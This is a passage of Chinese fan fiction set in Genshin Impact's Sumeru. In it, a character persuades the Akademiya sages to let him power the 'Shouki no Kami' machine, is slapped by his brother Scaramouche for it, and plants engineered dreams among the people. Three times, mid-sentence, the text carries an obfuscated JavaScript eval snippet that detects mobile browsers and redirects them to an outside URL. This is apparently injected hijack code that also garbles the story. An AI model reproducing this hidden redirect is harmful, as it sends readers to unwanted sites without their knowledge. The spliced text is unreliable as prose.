他说着指了指自己,“于是只好选一个最朴实的办法,那就是抓紧时间制造足够多的能量。” 能量的原料是须弥子民的梦境,想要足够多的能量,只能让他们不断地做梦了。 可人体生理摆在这里,梦境总有醒来的时候,如何才能让他们不醒来呢? 恐怕贤者的计划与月见里清也不谋而合,那就是制造一场梦境,让做梦者认为自己醒着,也就不会“醒来”了。 这也是月见里清也不能让教令院实施计划的原因,教令院投放梦境时可以轻而易举的察觉到他动的那些手脚。 “你是想赌大贤者的良知?”卡斯珀问。 “虽然我个人偏向他没多少良知,但会议室这么多人,他装也要装出一个体恤人民的样子来。”月见里清也哼笑一声。 二人说着来到会议室门前,推开大门前,月见里清也还在心里默念一句博士别在场,但运气从不站在他这一边,在跟博士对视的一瞬间,月见里清也的心凉了一半。 但他面色如常,脸上挂起一副礼貌的微笑,“打扰了,贤者大人,诸位阁下,希望你们原谅我贸然闯入。” 有博士在场,这场谈判会比预料之中麻烦一点,但并不意味着他毫无胜算。他有信心劝动大贤者,或者说,他必须成功。 月见里清也的突然闯入显然在众人的意料之外,在场的所有人除了博士之外,脸上都透露出些许意外,不知道是谁有这么大的胆子敢直接闯会议室。 不过这也怪月见里清也,毕竟来了须弥之后,关于和教令院贤者会面的场合他一向都是能躲就躲。大部分人都只是知道其名,未见其人。 还是大贤者阿扎尔靠着眼前人和散兵相似的面容,才把月见里清也认了出来,但他对月见里清也没什么印象分,也十分不满他闯入会议室打扰他们议事的行为,“月见里先生,即使你与斯卡拉姆齐先生关系非同一般,还是他亲自选的‘眷属’,但不代表你可以仗着这层身份冒事的闯入会议室。” 说完抬手就想叫卫兵把月见里清也赶出去。 “事出有因,我想尊敬的大贤者阁下应该能理解,”月见里清也仍是笑着说,“我是来向诸位献上一个提案的,既可以解决诸位燃眉之急,又不必造成无谓的牺牲。” 阿扎尔抬起的手微顿,皱着眉看向月见里清也,似乎在思考他所说的话。 片刻后,阿扎尔缓缓将手放下,“说下去。” 不光阿扎尔,参加会议的其他贤者也有些好奇,唯独博士不为所动,他意味不明地笑了笑,审视着月见里清也。 “目前诸位的困扰不过是梦境转化能量的效率太低,杂质太多,供应量无法满足需求量。”月见里清也顿了顿,忽略博士探究的目光,继续说,“与其疯狂收割梦境转化成这些富含杂质的能量,不如通过我将其转化为一种更为纯净、利用效率远超现在的一种能量。” “想必诸位也在收集神明知识时,察觉到了我身上的一些特质,在这里我也不过多赘述了,但我要说的是,我并非只有‘提纯’‘融合’的能力。”月见里清也扯起谎来丝毫不惧,“还有将能量‘放大’的能力。” 此话一出,原本还有些不以为意的贤者们立马来了兴趣,身子坐正了些,但他们不会轻易的相信月见里清也的话,尤其是大贤者阿扎尔。 起初,博士回到教令院向他推荐降神计划的人选时,他本想拒绝的,可是后来博士告诉他散兵是神明的造物,后来在实验中表现如此出色,彻底改变了阿扎尔的看法。 于是他也不免期待起博士推荐的另一个人选,散兵的弟弟,月见里清也。 可月见里清也却令他有些失望,在收集神明知识时他表现还不错,但也只有不错了。若非与世界树有些特殊关联外,阿扎尔也不会同意散兵的提议,给月见里清也“升格”。 而月见里清也此时突然从默默无闻的状态跳出来,是为了什么呢?倘若他真的有什么与众不同之处,为何要在此之前藏匿起来? 在阿扎尔还在沉思时,另一位贤者开口:“请你举出具体例证。” 月见里清也看他们的表情就知道自己说的那番话已经引起了贤者们的兴趣,闻言更是不急不忙的开口:“在座的各位也是知道我不是学者出身,就不班门弄斧了,请允许我直接向你们展示这个方案的可行性。” 他说着向一旁摊手,一打进门后就杵在墙边的卡斯珀会意,手中拿着能量储存装置上前来。 装置是教令院特制的,在场的贤者们几乎一眼就能认出,无需辨认真伪。 卡斯珀将储存装置中的能量被引导至月见里清也的手中,月见里清也同时催动起核心,两股毫不相干的能量接触到一起时,如同水滴进油锅中,瞬间迸发出璀璨的光芒。 原本微弱的梦境能量化作一道纯净又稳定的能量团,从中隐隐传来令人心旷神怡的乐声,恍惚间,众人仿佛都被拉入美梦之中。 卡斯珀愣神片刻后迅速回神,有些震惊的看向月见里清也。 趁着贤者们都没反应过来,月见里清也悄悄对他眨了眨眼,随后看向唯一没有被他把戏“哄骗”的博士。 博士虽然在席上坐着,但并没有开口的意思,从始至终抱着胳膊看着月见里清也,直到开始验证可行性,他才来了兴致,想要看看月见里清也究竟想整什么把戏。 月见里清也的视线没在博士身上过多停留,扫了一圈有些发愣的贤者们,手上一挥,能量团瞬间消散。 “刚才我使用的不过是一小部分的梦境力量,”看着贤者们回复清醒,月见里清也才开口:“这便是我为各位贤者提供的方案,不知诸位意下如何?” 其实已经不需要回答,月见里清也已经从他们的表情中得到了答案。 贤者们脸上的表情做不了假,哪怕是阿扎尔,他的眼中也充满着震惊与欣喜,但同时他仍有一丝疑虑。 就像之前说的,月见里清也有这等能力,为何之前一直默默不闻。 “令人惊叹的展示,月见里清也,确实有一定的可行性,”但是还不等他开口,一旁的博士抢在他之前开口道:“只是我很好奇,为何你之前不曾展现,要等到现在呢?” 他话讲得慢条斯理,但落到月见里清也的耳朵里却听的他浑身不得劲。 这是个无法避免的问题,博士不问,大贤者也会问,月见里清也收起脸上礼节性的笑容,取而代之的是一种认真的表情,“关于博士大人的问题,说来话长。” “我方才意外得知了诸位的计划,所以在我回答之前,我也有几个问题想询问几位贤者阁下,如果不断收割的梦境超出了人体极限,他们会怎样?”月见里清也看向阿扎尔,“以及,我哥哥这个神明,在你们眼里,究竟是什么?” 几位贤者被问的一愣,阿扎尔沉声道:“在梦境中的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324873|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达到身体的上限后,他的意识会退出梦境,为了确保梦境的逻辑不出问题,会有个一个‘人偶’来代替他执行当天的一切行动。” “我问的不是梦境里的人,而是现实中的人,他们会死吗?”月见里清也说着,瞥了一眼博士,“还是说,这是不必要的牺牲?” “你!”月见里清也一番话像刀子一样直戳阿扎尔和几位贤者的心窝子,阿扎尔的脸色阴沉至极,“你是来兴师问罪的?!” “怎么会呢,几位无需质疑我的目的,实事求是难道不是学者的美德吗?”月见里清也嘴角一勾,“但从我个人情感上来看,我确实有些‘失望’呢。” “我相信几位贤者的努力肯定为了能让神明顺利降生于世,但阿扎尔阁下,你要知道,踏着子民鲜血诞生的神明不是神明,是伪神。”月见里清也冷声道。 “我原本以为教令院会有更好的办法,但你们现在用这种方式亵渎我的神明,我又怎能容忍?”月见里清也眼神带着毫不掩饰的轻蔑,“这就是我现在才来献计的原因。” 现在站在众人眼前的不是第六席副官月见里清也,而是以散兵的弟弟,被他选中的眷属这一身份站在他们眼前。 他的神明不应该伴着子民的鲜血与苦难诞生。 “当然我一早没有说明我有这样的能力,也是我有错在先,”月见里清也后退一步,主动给几位贤者找了台阶,“是我太想当然,毕竟我有怎样的能力,博士大人最清楚,不是吗?” 此话一出,阿扎尔和几位贤者纷纷侧目看向博士。 博士:……… 既然是月见里清也故意隐藏,几位贤者的脸色见缓,现在亡羊补牢也还来得及。 阿扎尔看着月见里清也,仍是有些不信任他,“虽然如此,按照你的想法,操控梦境的虚空将会由你全都接手……” 月见里清也打断了他,“可以将我的机体与正机之神进行连接,也不必担心我会有别的小动作。” 月见里清也离开会议室时,贤者依旧没有定死这件事,但他知道,这事已经十拿九稳了。 回去的路上,卡斯珀欲言又止,终究是没忍住,开口问道:“你会议上说的那些话是真心话吗?” 月见里清也明知故问,“那些话?” “就是关于‘神明诞生’的那些话。”卡斯珀说。 “想什么呢……”月见里清也露出一个混不吝的笑,将话题糊弄了过去。 当然是真心话,他在心里默默念叨。 二人返回工坊的路上,月见里清也还没想好怎么和散兵解释,就在路口的拐角碰到了他最不想见到的人。 他抬头看着挡住去路的博士,深吸一口气道,“博士大人,你挡着路了你不知道吗?” “利用雷元素与草元素所发生的激化反应,激发梦境从而影响贤者,你元素理论学的不错,脑子也转的很快。”博士看完一场大戏,心情还不错,“但我很好奇,哪怕牺牲自己的自由也要换取操控梦境的权限,斯卡拉姆齐真的值得你付出这么多?” 博士一语道破月见里清也的把戏和他今日的目的,卡斯珀都为月见里清也捏了一把汗。 但月见里清也本人丝毫不惧,“我也很好奇,你今日好像就是一位看客,不怕我直接将你的合作伙伴端掉?” “你知道的,学者除了实事求是外,还有个美好的品德叫‘观察’。”博士将他说过的话,还给了月见里清也,“我真是越来越期待这场‘实验’的结果了。” 说完这句话后就扬长而去,留下月见里清也和卡斯珀俩人摸不着头脑的站在原地。 至于这场会议围绕的中心人物,散兵则是在几小时后才从研究员的只言片语中拼凑出了这场会议的大概。 与此同时,没想好怎么解释干脆处理其他事的月见里清也突然一阵恶寒。 好像……感觉不太妙。 69.“虚假”的意义 降神工坊实验室里,研究员今日的工作本该是继续调试正机之神与散兵的感官连接。 但出乎散兵意料的是,研究员直接将他与机体的连接断开了。 与正机之神连接的导管并不是直接连接在他身上的,是连接在他背后的接口中,之前生体改造的目的就是将这些接口安装在他身上。 散兵看着站在不远处的研究员,他们站的地方有些远,交谈的声音听不真切,但这难不倒散兵。 他靠着读两人的唇语勉强拼凑出了一个大概——贤者今日上午开会决定将眷属机体接入正机之神,作为能源储备装置。 贤者不可能绕开自己做出这等决定,除非,这项决定就是月见里清也自己提出的。 连接机体意味着什么月见里清也不是不知道,散兵甚至为了避免月见里清也跟自己步入同样的结局,特地为月见里清也去除了机体连接。 但自月见里清也离开不过才短短几个小时,事态就已经不在他的掌控之中了。 散兵看着研究员上前,拆除限制他行动的导管,他一把抓住一位研究员的胳膊,努力维持着自己的表情,压制住火气,“劳驾,能向我解释一下到底发生什么事了吗?” 与此同时,月见里清也和卡斯珀正在整理眷属机体的资料。 卡斯珀需要和正机之神那边开个紧急会议,商讨如何连接两个机体。 这事跟月见里清也无关,他不是学者也不是研究员,去了也没用,他只是单纯的没地方去,才跟着卡斯珀来整理资料。 至于月见里清也为什么没有第一时间去找他哥,一是因为时间不合适,这个时间实验室里全是研究员;二是因为,他的确没想好怎么解释。 虽然他之前先斩后奏的事也有,但这次不同,相当于他直接打乱了他哥的安排,他也没办法靠着耍赖糊弄过去了。 月见里清也想起他哥生气的模样,打了个冷颤,又偏头打了个喷嚏。 “你怎么了?着凉了?”卡斯珀听见声响,侧目看向月见里清也。 “怎么可能。”月见里清也随口一说,“估计有人在念叨我吧。” 这个“有人”指的是谁简直不言而喻,卡斯珀说:“我之前说让你先和你哥说一声,你说不,现在又后悔上了?” 卡斯珀知道月见里清也和散兵有通讯器这一件事,他要月见里清也先通报一声并非让他去工坊通报,但月见里清也没用。 “我没后悔向教令院提议这件事,不和他说是因为,我知道他不会同意的。”月见里清也看似和平常一般无二,但手指不是拨弄着衣服上的流苏,就是不停的整理戴在手上的手套。 而这些动作他自己根本有没意识到,月见里清也在紧张,他完全没有见散兵的准备。 他甚至都不敢想晚上见面的场景会是怎样的。 “这次和之前不同,我有点……”月见里清也顿了顿,如实说,“不敢见他。” 卡斯珀无言地拍了拍他的肩膀,约定开会的时间马上就要到了,他也不好多留,拿起整理好得文件离开了办公室。 月见里清也目送卡斯珀离开,随着大门关闭的声音响起,一道熟悉到不能再熟悉的声音从他身后传来,“哦?原来你也知道,我不会同意啊?” 月见里清也闻言动作一僵,脑子里一片空白,下意识回头看去,看见散兵抱着胳膊站在他身后,不是意识的虚影,而是真正的活人时,他甚至能感觉到血液从四肢褪去,逐渐变得冰凉麻木。 散兵身影迅速消失在月见里清也眼前,动作快得像一阵风,攥住月见里清也的衣领,狠狠地往墙壁上一掼。 散兵没收力,他有多生气就摔得月见里清也有多狠,身体撞在金属墙壁上发出“砰”的一声闷响,连一旁的书柜都跟着震了震。 月见里清也被摔得头脑发蒙,因疼痛皱起眉,下意识握住散兵的手腕,“……哥哥。” 散兵看着月见里清也,冷笑一声,手指松开攥着的衣领转而卡住他的脖颈,逼着月见里清也抬头看着自己。 “原来你知道,我是你哥哥。”散兵声音压得极低,每个字都仿佛是咬着后槽牙从牙缝里挤出来的,倘若眼里的怒火有实质,早就把月见里清也烧的渣都不剩了。 散兵冷声道:“解释。” 月见里清也不是没见过散兵生气的样子,但那都是士兵犯了错,他在一旁看着,极少有直面散兵怒火的情况,也从来没见过面无表情的散兵。 见月见里清也迟迟没有动静,散兵耐心告罄,“说话,月见里清也,你不是哑巴。” “教令院要重新启动梦境收割的方案,如果控制梦境的虚空终端控制权回到他们手里,就会暴露我昨晚动的那些手脚。”月见里清也本想到此为止,但在散兵眼神的逼迫下,又把后半段说出来,“收割梦境可能会导致须弥民众的死亡,这件事原本并不值得在意,但这牵扯到你的诞生,我不想这么做。” “所以呢,你向教令院提出了什么建议。”散兵明明已经从研究员口中得知了结果,但他仍固执的向月见里清也求证,好像得到不同的答案一样。 月见里清也看着他,平静地开口:“由我作为梦境转换的装置,为了安贤者们的心,我提议将我的机体与正机之神进行连接。” 话音刚落,散兵另一只手用力攥紧,月见里清也自知自己躲不过这顿揍,也不想躲,干脆闭眼等着这拳落到自己身上来。 但意料中的闷疼并未到来,那一拳最后变为了一记清脆的耳光,狠狠地扇在月见里清也的脸上,散兵骂道:“混账东西!” 月见里清也平日里做事滴水不漏,在明知道自己是背着教令院搞小动作的情况下,怎么偏偏会在昨晚留下马脚? 再者,教令院明明是因为梦境能量不足才找上的他,月见里清也昨晚又是怎么做的呢? 散兵回想了一下,月见里清也昨晚在一堆空的储存装置里挑挑拣拣,最后挑出四个小的储存装置进行充能——对于正机之神来说,是远远不够的。 所以这一切都是月见里清也故意的,他真正目的恐怕就是为了夺取梦境权限修改民众认知,让自己的诞生“合理化”,以及摆脱教令院的能量控制。 这正是散兵生气的原因,成为正机之神的能源就意味着,正机之神诞生之时,也是月见里清也被永远囚禁在机体里的时候。 他为月见里清也安排好了一切,即使自己登神后月见里清也也可以凭着眷属的身份不受任何限制,想干什么都可以。 而现在月见里清也却告诉他,这我都不想要。 月见里清也如此大费周章,甚至以自己自由为代价做的事,从结果来看,即使他不做,也不会对散兵的诞生产生重大影响。 这一巴掌散兵用尽全力,打的月见里清也整个人都往旁边一歪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338311|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,扶住一旁的柜子才稳住身形,右半张脸火辣辣的疼,白皙的皮肤迅速红肿,他愣了片刻,捂着半张脸,不可置信的看向散兵。 散兵拽住他的衣领把月见里清也拉起来,指尖因过度用力而变得苍白,声音嘶哑,“谁允许的?谁给你的权利去这些无聊的事!” “所以对你来说,这些事也是没意义又无聊的事吗?”月见里清也看着他,手从脸颊滑下,露出脸上的红肿。 “诞生的意义?”散兵冷笑一声,“你以为你在修改提瓦特生灵的记忆吗?修改几个凡人的认知,就能改变我降生就被抛弃的事实?月见里清也,你什么时候变得这么天真!” 为了一个虚假的意义,将自己后半生孤注一掷。 值得吗? 散兵不理解月见里清也做出的决定,既然曾经发生的事实无法改变,为什么这么执着于追求神明的诞生意义? “你有想过后果吗……被关在机体里,日复一日的被消磨,你想过吗,真的能撑住吗?”散兵终于忍不住说出他真正担心的答案。 他不是恨自己的计划被打乱,气的不是这件事的本身,而是气月见里清也不爱惜自己。 正因为他经历过,所以他知道被限制住自由是什么样的感受,他才会让月见里清也避免相同的结局。 “完成一项伟大的计划的道路上总会有一些‘注定’的牺牲,可教令院要让须弥子民的鲜血铸就你的神座,要让你从这份罪业中诞生。”月见里清也说,“这是对一位神明的诅咒和玷污。” 他说着将散兵攥着自己衣领的手轻轻掰开,放在自己心口上,“而我,只需要付出一点‘代价’,就能让你真正完美登神。” “你要是我,你会怎么选?” 散兵认为他赋予神明诞生的意义是虚假的,但正是这份虚假,抹除了教令院施加给须弥民众的痛苦,让他们不用被当做原料,无休无止的制造能量。 如果真实注定是鲜血和污泥,那他为什么不能亲手为散兵、为须弥的民众,锻造一个更好的“真实”? 散兵猛的将手抽回去,看着月见里清也,声音有些疲惫道:“……真是疯了。” 月见里清也靠着墙往下滑,最后坐到地上,双手抱着膝盖将半张脸埋进手臂里,只漏出一双眼,“最先疯的没资格说我。” 散兵:……… 是啊,不管是几百年前答应和博士合作,还是参与降神计划,好像都是他先起的头。 散兵半蹲在月见里清也面前,伸手将他散落在脸颊的碎发别至耳后,问道:“疼吗?” 月见里清也猛的一撇头,声音闷闷的,好像受了多大委屈似的:“你把我脸都打肿了。” “抬头,我看看。”散兵说。 月见里清也没抬头,不知是不是室内灯光没缘故,映的月见里清也眼里亮晶晶的,只不过被刘海挡住看不太清。 这是……哭了? 散兵一愣,心想应该不至于,但他还是伸手将月见里清也的刘海撩起来了点。 措不及防被掀刘海的月见里清也:??? 多冒昧啊! 他伸手将散兵的手打掉,和炸毛一样抬头瞪着散兵,“没哭,你好烦啊!” 月见里清也的半张脸还肿着,气呼呼的模样看着着实有些滑稽,散兵没忍住笑了起来,笑到最后他叹了口气,手掌向上一摊,“走吧,回家。” 70.花神诞祭前夕 第二日,负责盯梢的暗线在今日一早发现,旅行者和派蒙有启程的迹象,正准备启程前往须弥城。 自他被月见里清也派来,看到的都是这位旅行者在和那位巡林员小姑娘干一些巡林员的工作,实在没什么大事可以汇报。 眼见他们终于准备动身前往须弥城,暗线终于来了精神,刚准备汇报情况,就听见那位绿头发巡林员小姑娘对着旅行者说:“对了,之前你们说想了解关于神明的事,如果你们想了解更多的,我可以给你们推荐一个人,或许对你们有帮助。” 暗线手上动作一顿,松开了那块汇报消息用的装置。 “她叫斯黛拉,是教令院明论派学生。她之前为了课题读过不少关于须弥历史的书籍,看待问题的角度和思路都很特别,也许能解答你们的疑惑。”柯莱说。 考虑到他们不会在愚人众久待的情况,月见里清也在创立暗线时,选的都是跟愚人众没有任何关系的那些人。 暗线虽然不知他们谈论的人到底是谁,但毕竟谈论到了“神明”二字,暗线思索一番,还是决定将这件事也一块报给月见里清也。 月见里清也收到消息后将带着通讯器的手伸到散兵面前,好让他也可以刚收到的情报。 “早上出发,中午之前就能到。”散兵简单推算了一下时间,视线又重新落回面前的图纸上。 有暗线紧盯旅行者的一举一动,暂时不必担心他翻出多大的浪花,对散兵而言,这些事可能还没有桌上的图纸吸引人。 “嗯,须弥城里我也安排了人跟着,他们暂时闹不出什么事。”月见里清也一看数据就眼晕,将手里的图纸往旁边一放,顺势偷个懒,“至于斯黛拉,小姑娘机灵得很,她知道要怎么做。” 他话里有话,好像并不是单单是指他很放心斯黛拉,散兵闻言撩起眼皮扫了一眼月见里清也的脸颊,颇有提醒的意味。 得益于自身恢复能力快到有些恐怖,月见里清也的脸好得很快,昨天拿冰块敷一会就好的差不多了,晚上连接梦境系统时,连身边的学者都没察觉到异样。 到了今天就更看不出什么来了,甚至都让卡斯珀认为这事和之前一样,月见里清也简单认个错,这事就过去了。 脸是好了,但月见里清也还能想起挨打时的疼,捂着脸往后退了退,“我没打算瞒你,只是这东西是我昨晚连接梦境系统才意识到的。” 虽然教令院同意了月见里清也的提议,但在与正机之神连接的新机体改造完之前,他接入梦境系统都是和那晚一样,佩戴好虚空终端,由学者操控系统进行连接。 但和之前不同的是,月见里清也这次连入系统拥有了完整的操控权限,而完整的梦境权限让他发现到了一些之前并未注意到的事。 散兵挑了挑眉,“说。” 月见里清也清了清嗓子,没忍住买个关子,“对于教令院而言,什么是最重要的?” 教令院目前最重要的项目就是降神计划,月见里清也的问题看似在问这个,但对于教令院而言,这只不过是他们最重要的项目而已。 倘若计划失败,对教令院来说,只不过是失去了一个耗费巨大的人力物力的项目,甚至可以将责任推卸到愚人众身上,对教令院产生不了什么实质性的影响,改变不了它作为须弥实质性统治者的事实。 所以,月见里清也问的真正的问题是:什么才是教令院立足的根本,大贤者真正控制须弥民众的究竟是什么? 然而答案也不需要多想,现在的须弥几乎人人都佩戴着虚空终端,答案几乎呼之欲出。 “得到梦境系统权限还不是你最终目的,整个虚空系统才是。”散兵回答道。 “对,”月见里清也打了个响指,“佩戴虚空终端,每个人都可以无限制的索求自己想要的答案,久而久之,人们就会对其产生依赖,甚至不需要‘思考’。” 月见里清也伸手指了指上面,暗示在工坊之上的教令院,眨了眨眼道,“不说别的,他们自己本身很依赖虚空终端。” 教令院的各项禁令的颁布,对各种安排的实施,方方面面都有虚空的参与,如果月见里清也能拿到虚空的操控权,才是真正意义上的“架空”教令院。 “之前我认为,梦境能够影响人们的认知是梦境权能的作用,我也是从昨晚才意识到,梦境系统也是依靠虚空运作的。”月见里清也说,“所以反过来,我也可以趁着梦境系统崩溃时的混乱,接近虚空核心部分,窃取权限。” 散兵手中的笔在指尖上转了一圈,“通过梦境修改须弥人认知的计划才刚开始,你好像就已经预料到它的失败了。” 通常来说,在一件事刚开始的时候就说会失败,都会被认为不吉利的一件事,但月见里清也并不忌讳这些东西。 “虚空系统是是草神权能,那位小吉祥草王可能是出于被囚禁的缘故,总之对教令院的所作所为放任不管,可梦境不同,”月见里清也扯了扯嘴角,“不是我悲观,那晚我已经实验过了,我刚投放梦境,她就现身了。” 仅仅是一个没有什么暗示的梦境,就能引出被教令院囚禁的草神。月见里清也想到后面他要编织的梦境内容,好像和踩在草神头上也没什么区别了。 事关梦境和须弥子民的认知,草神肯定不会坐视不理,虽然月见里清也背后有虚空系统的加持,但梦境是她的权能,找寻破局之法应当不难。 如此一来,想要完全依靠梦境修改认知想法或许行不通,月见里清也与其抵抗,不如顺势为自己谋得更好的方法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352296|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦境系统依靠虚空运行,说到底,这还是虚空的功能,只不过人在入梦时大脑处于放松状态,能更好的接受他所编织的事,用虚空系统改变认知时或许会麻烦一点,但虚空拥有的利,远大于这一点弊端。 关注空的动向不仅仅是为了防止他突然出现打乱计划,更主要的是他需要将这个“变量”送到草神面前。 所以他会很放心斯黛拉,不怕她说漏什么,毕竟说多了让空察觉到梦境的异样,也是加快了他窃取虚空的进度。 整个计划月见里清也都以一个幕后之人的身份藏匿于教令院的身后,散兵暂时放下心,轻轻敲了敲桌上的图纸,示意月见里清也继续看。 说到底,这事只是月见里清也未来的规划罢了,眼下,他还是要处理梦境能量和机体连接的事。 关于正机之神能量供应一事暂且告一段落,新方案的确定确实增加了研究员的工作量,但好在眷属机体的制造并未完成,只需要在现有基础上增加与正机之神连接的装置。 而在新的机体改造好之前,散兵和月见里清也一样,都不需要进行机体连接。 但这不意味他们无事可干,散兵在他们进行连接之前的任务就是压着月见里清也读完有关正机之神和眷属机体的相关数据和图纸。 月见里清也晚上还要连接梦境系统,所以散兵只好来压榨他的白天时间了。 看见月见里清也脸上写满了“抗拒”二字,散兵轻笑一声,不急不慢地说,“这些只是最基本的数据,这些都看不完,还想从教令院手里窃取虚空系统?不如你去收回提出的方案,也省的我在这里浪费时间。” 月见里清也好不容易拿到梦境权限,绝不会轻易让出去,被看扁的他自然不服气,指了指一旁堆成山的文件,“你当初都看完了?” “不然呢?”散兵抱着胳膊看他,回答的理所应当。 月见里清也:…… 别人用激将法激他,他并不会上当,但要使用人是他哥,效果立竿见影。 月见里清也拽过刚才被他扔在一旁的图纸,继续往下看,他不想看归不想看,但他并不是不聪明看不懂。 他阅读速度不慢,花了半日就将重要的部分看完,此时临近中午,手下的暗线又递了消息过来。 和散兵估算的一样,空和派蒙正好在中午时分到达须弥城,并且已经领到了教令院免费发的虚空终端,只是并未去找斯黛拉。 对于这事,月见里清也也不强求,作为接连在蒙德、璃月、稻妻三国都卷入大事的旅行者,月见里清也有预感,草神要想做什么事,肯定绕不开他。 与此同时,开完会的卡斯珀给两人带来了机体连接的具体日期。 正是两天后,花神诞祭当天。 71.降临前夜 对于须弥人来说,这段时间的夜晚有些不同寻常。 须弥人是不会做梦的,在教令院的贤者眼中,智慧与理性并存,而梦境中的东西往往没有没逻辑,长久以来被视为不理性的象征。 在须弥人眼里只有小孩子才会做梦,在他们长大后,就不会再做这种“不成熟”的行为。 然而,最近一段时间以来,他们每天夜晚都会做梦,起初梦境十分短暂,醒来后就会被遗忘,人们以为是自己的错觉。可几天后,梦境中的场景也越发清晰,持续时间也越来越长,人们终于意识到了不对劲。 梦境是不理性的象征,连续不间断的梦境,是否就意味着他们不再“理性”? 可令人意外的是,在梦境之中的自己,并不想贤者所言那般,被自己的忧愁所困扰,经历一些毫无逻辑的事。 恐慌、迟疑逐渐蔓延在人们的心里,但在事态进一步发酵之前,恒久不变的梦境发生了变化。 梦中那颗外形酷似须弥城的巨树不再是无法触及的虚影,而梦境里的他们不由自主的选择靠近它。 在他们踏出第一步时,周围的景象开始变化,四周不再有阳光和草地,取而代之的是一个面容模糊,身披白袍,周身笼罩在柔和光晕中的人影。 他们看着人影自一棵贯穿天地的银色古树中诞生,手指轻抬,便在黄沙漫天的沙漠之中,开辟出葱郁的绿洲,为人们创造出智慧与生机的乐土。 次日,他们跟随着人影行穿过雨林,看着祂为人们授业解惑,引领人们步入环绕巨树建造的城邦,绿叶落于祂的指尖,祂将其变为虚空赠予人类。 从世界树中诞生,到建造须弥城,再到创建虚空系统,随着一幕幕的景象在他们眼前上演,他们终于迟钝的想起——梦境也是智慧之神的权能。 于是在第三日的梦境里,他们理所当然的跟继续跟着智慧之神的脚步行走于世,但一股温和而坚定,带着不容置喙的意味的力量拦在须弥城中。 须弥的子民们只好眼睁睁的看着他们的神明走入漆黑的命运之中,直到身形暗淡,最终消散在他们眼前。 然而身形虽然消散,但祂周身的光芒却凝结成节一枝银白古枝,最后被一个穿着教令院贤者衣装的人捡走。 梦境到了这里便戛然而止。 月见里清也切断了梦境,他的暗示已经足够明显,前几日的梦境他化用了虚空中对大慈树王的记载,打消人们的疑虑与恐慌,最后再用被教令院捡走的行为暗示曾经的神明与现在的神明,皆是“祂”的化身。 他从始至终都未曾点出“祂”的身份与样貌,只在“祂”的身影消散后动了点手脚。 正常来说,大慈树王代表着世界树,然而月见里清也却偷换了概念,将世界树枝杈变成了银白古枝。 这是他编织梦境以来第一次向须弥人植入不真实的记忆,但从他们的反应来看,他们没有察觉到问题。 如此,这才算成功迈出了计划的第一步。月见里清也在退出梦境系统前,为所有人留下一句话。 “无需心急,祂终会自长眠中醒来。” “只是,你们真的做好准备迎接祂的归来了吗?” 他的声音温和但又带着极强的引导性,落入须弥人耳朵里,这话又带着一丝埋怨与警示。 现在的须弥人的心中惦念着大慈树王,如果告诉他们,被他们忽视的小吉祥草王就是他们惦念的神明呢? 月见里清也特意选了花神诞祭前一日的夜晚投放这个梦境,至于须弥人醒来后怎么想,怎么面对明天的花神诞祭,这些都与月见里清也无关。 他断开了梦境系统的连接,垂眸看着机体上的导管,静静地感受着力量从自己身体中抽走的感觉。 跟散兵连接正机之神相比,他跟自己的机体【无相使】的连接只有一根导管,因需要供应能量,这根导管要比接入散兵身体的导管粗的多。 按照教令院的方案,月见里清也是能量供应者,又是第一次进行机体连接,为了安全起见,他需要提前连接适配,不能跟散兵一样花神诞祭当天才进行连接。 话虽如此,但月见里清也也知道,教令院肯定选梦境收割作为他的第一次机体连接,是为了看看自己这个“储存装置”到底合不合格。 对于这点,月见里清也早有应对。 由于正机之神的建造已经完工,拆了重改几乎不可能,学者最初的想法是额外借助虚空系统在两者的机体之上搭建出一个供应能量的“桥梁”,让无相使成为一个独立于正机之神外的储能装置。 只不过在讨论要不要保留正机之神原本的储能装置时,散兵执意要保留原本的装置。 保留装置也就意味着学者不需要改动正机之神的相关设备,也算变相的帮学者减轻了工作量。 至于月见里清也这边,他向卡斯珀提议将机体供能的方式从月见里清也主动给予变成被动抽取。 有了这个小改动,他不用同时兼顾充能与梦境,直到月见里清也退出梦境系统,在观察室中的贤者也没察觉到什么异样。 在观察室中不仅有贤者,散兵和卡斯珀也在其列,两人密切的观察月见里清也的一举一动,卡斯珀还时不时地就要扫两眼数据,观察能量供应有没有达到规定数值。 倘若没有达到数值,不光意味着这几个月的加班全都白费,也意味着月见里清也的计划将被全盘否定,教令院会重新启动原本的计划。 比起月见里清也本人,卡斯珀才是场中最紧张的那个人,他小声问散兵,“虽然清也说他有把握,但这把握是多少,万一……” 而散兵从始至终都没将视线从月见里清也身上移开,闻言皱了皱眉,语气坚定的打断卡斯珀的话:“没有万一,相信他。” 话虽如此,散兵心中也不免有些紧张,但比起在这 